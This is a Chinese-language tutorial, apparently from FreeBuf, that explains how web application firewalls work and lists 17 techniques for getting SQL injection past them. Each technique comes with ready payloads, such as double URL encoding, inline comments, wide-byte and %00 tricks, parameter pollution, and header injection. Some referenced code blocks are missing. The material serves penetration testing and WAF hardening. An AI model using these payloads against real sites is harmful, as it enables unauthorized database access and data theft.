本篇文章主要介绍WAF的一些基本原理,总结常见的SQL注入Bypass WAF技巧。WAF是专门为保护基于Web应用程序而设计的,我们研究WAF绕过的目的一是帮助安服人员了解渗透测试中的测试技巧,二是能够对安全设备厂商提供一些安全建议,及时修复WAF存在的安全问题,以增强WAF的完备性和抗攻击性。三是希望网站开发者明白并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。
一、WAF的定义
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。
二、WAF的工作原理
WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录
1. 预处理
预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。
2. 规则检测
每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。
3. 处理模块
针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。
不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过。
4. 日志记录
WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。
三、WAF的分类
1. 软WAF
软件WAF安装过程比较简单,需要安装到需要安全防护的web服务器上,以纯软件的方式实现。
代表产品:安全狗,云锁,D盾等
2. 硬WAF
硬件WAF的价格一般比较昂贵,支持多种方式部署到Web服务器前端,识别外部的异常流量,并进行阻断拦截,为Web应用提供安全防护。
代表产品有:Imperva、天清WAG等
3. 云WAF
云WAF的维护成本低,不需要部署任何硬件设备,云WAF的拦截规则会实时更新。对于部署了云WAF的网站,我们发出的数据请求首先会经过云WAF节点进行规则检测,如果请求匹配到WAF拦截规则,则会被WAF进行拦截处理,对于正常、安全的请求则转发到真实Web服务器中进行响应处理。
代表产品有:阿里云云盾,腾讯云WAF等
4. 自定义WAF
我们在平时的渗透测试中,更多情况下会遇到的是网站开发人员自己写的防护规则。网站开发人员为了网站的安全,会在可能遭受攻击的地方增加一些安全防护代码,比如过滤敏感字符,对潜在的威胁的字符进行编码、转义等。
四、WAF的部署方式
1. 透明网桥
2. 反向代理
3. 镜像流量
4. 路由代理
五、 绕WAF的多种方式
为了让大家更清楚的理解绕WAF的方法原理,本次WAF绕过方法的介绍中会增加部分代码示例。
注:本文的代码示例都是在sqli-labs基础上修改的。
正常无拦截规则的代码:
接收用户传递的参数后直接带入数据库中执行。为了方便查看,将查询语句动态输出。
1. 各种编码绕过
绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。
a) URL编码:
增加了过滤规则的代码:
代码中增加了特殊字符过滤,但在参数值进入数据库查询语句前多了一步解码操作:
$id= urldecode($id);
正常payload:
?id=1' and '1'='2
直接提交攻击语句,单引号被过滤,注入语句未成功插入。
绕过payload:
?id= %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
对参数值进行URL编码后可绕过过滤检测,注入语句成功写入。
b) 二次URL编码
增加了过滤规则的代码:
代码中在特殊字符过滤前又多增加了一步解码操作,可使用二次URL编码进行绕过。
正常payload:
?id=1'and '1'='2
?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32
使用一次URL编码绕过后,由于在过滤前会进行一次解码操作,所以单引号还是被过滤掉,注入语句未成功插入。
绕过payload:
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
使用二次URL编码后可绕过过滤检测,注入语句成功写入。
c) 其他编码
除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。
2. 字母大小写转换绕过
部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。
增加了过滤规则的代码:
正常payload:
?id=1' and sleep(3) and '1'='1
?id=1' and SLEEP(3) and '1'='1
绕过payload:
?id=1' and sleeP(3) and '1'='1
?id=1' and slEeP(3) and '1'='1
3. 空格过滤绕过
增加了过滤规则的代码:
部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。
a) 使用空白符替换空格绕过
数据库类型 | 允许的空白符 |
---|---|
SQLite3 | 0A,0D,0C,09,20 |
MySQL5 | 09,0A,0B,0C,0D,A0,20 |
PosgresSQL | 0A,0D,0C,09,20 |
Oracle 11g | 00,0A,0D,0C,09,20 |
MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
正常payload:
?id=1'and sleep(3) and '1'='1
空格被过滤,注入语句未成功插入。
绕过payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1
注入语句成功写入
b) 使用‘+’替换空格绕过
绕过payload:
?id=1'+and+sleep(3)+and+'1'='1
注入语句成功写入
c) 使用注释符/**/替换空格绕过
绕过payload:
?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1
注入语句成功写入
4. 双关键字绕过
部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过。
增加了过滤规则的代码:
正常payload:
?id=1and SLeeP(3) and 1=1
由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。
绕过payload:
?id=1+and+SLesleepeP(3)+and+1=1
WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。
5. 内联注释绕过
在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/*后头加了惊叹号(/*!50001sleep(3)*/),那么此注释里的语句将被执行。
增加了过滤规则的代码:
正常payload:
?id=1+and+sleep(3)+and+1=2
绕过payload:
?id=1+and+/*!50001sleep(3)*/+and+1=1
6. 请求方式差异规则松懈性绕过
有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。
增加了过滤规则的代码:
正常payload:
GET /xxx/?id=1+and+sleep(4)
绕过payload:
POST /xxx/
id=1+and+sleep(4)
发送POST请求,绕过过滤规则,注入语句成功写入。
7. 异常Method绕过
有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。
增加了过滤规则的代码:
正常payload:
GET/xxx/?id=1+and+sleep(3) HTTP/1.1
绕过payload:
DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1
使用异常方法绕过过滤规则检测,注入语句成功写入。
8. 超大数据包绕过
部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测
增加了过滤规则的代码:
正常payload:
?id=1+and+sleep(3)
绕过payload:
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
添加无用字符,使内容大小超过WAF检测能检测到的最大内容。
9. 复参数绕过
在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
正常payload:
?id=1+and+sleep(3)
绕过payload:
?id=1&id=2+and+sleep(3)
将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器。
10. 添加%绕过过滤
将WAF中过滤的敏感字符通过添加%绕过过滤。
例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。
正常payload:
?id=1 union select 1, 2, 3 from admin
?id=1union select 1, 2, 3 from admi
绕过payload:
?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin
?id=1union s%e%lect 1, 2, 3 from admin
11. 协议未覆盖绕过
以下四种常见的content-type类型:
Content-Type:multipart/form-data;
Content-Type:application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。
例如使用multipart/form-data进行绕过。
正常请求:
转换为multipart/form-data类型进行绕过:
12. 宽字节绕过
宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
正常payload:
?id=1'and 1=1--+
绕过payload:
?id=1%df%27and 1=1--+
%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。
13. %00截断
部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
正常payload:
?a=1&id=1and sleep(3)
绕过payload:
?a=1%00.&id=1and sleep(3)
14. Cookie/X-Forwarded-For注入绕过
部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。
正常payload:
GET /index.aspx?id=1+and+1=1 HTTP/1.1
Host: 192.168.61.175
...........
Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;
绕过payload:
GET /index.aspx HTTP/1.1
Host: 192.168.61.175
...........
Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;
X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--
15. 利用pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
正常请求被拦截:
利用pipline进行绕过:
首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
16. 利用分块编码传输绕过
分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。
17. 冷门函数/字符/运算符绕过
floor() ==> updatexml(),extractvalue()
Substring() ==> Mid(),Substr(),Lpad(),Rpad(),Left()
concat() ==> concat_ws(),group_concat()
limit 0,1 ==> limit1 offset 0
and ==> &&
or ==> ||
= ==> <,>
= ==> like
Sleep() ==> benchmark()
六、总结
上面使用部分代码示例向大家介绍了一些基础的绕过WAF注入方法,但实际中的WAF检测规则错综复杂,需要我们通过手工或fuzzing,并结合多种方法的组合拳去测试WAF检测原理,从而对抗WAF。
*本文作者:Amber,转载请注明来自FreeBuf.COM。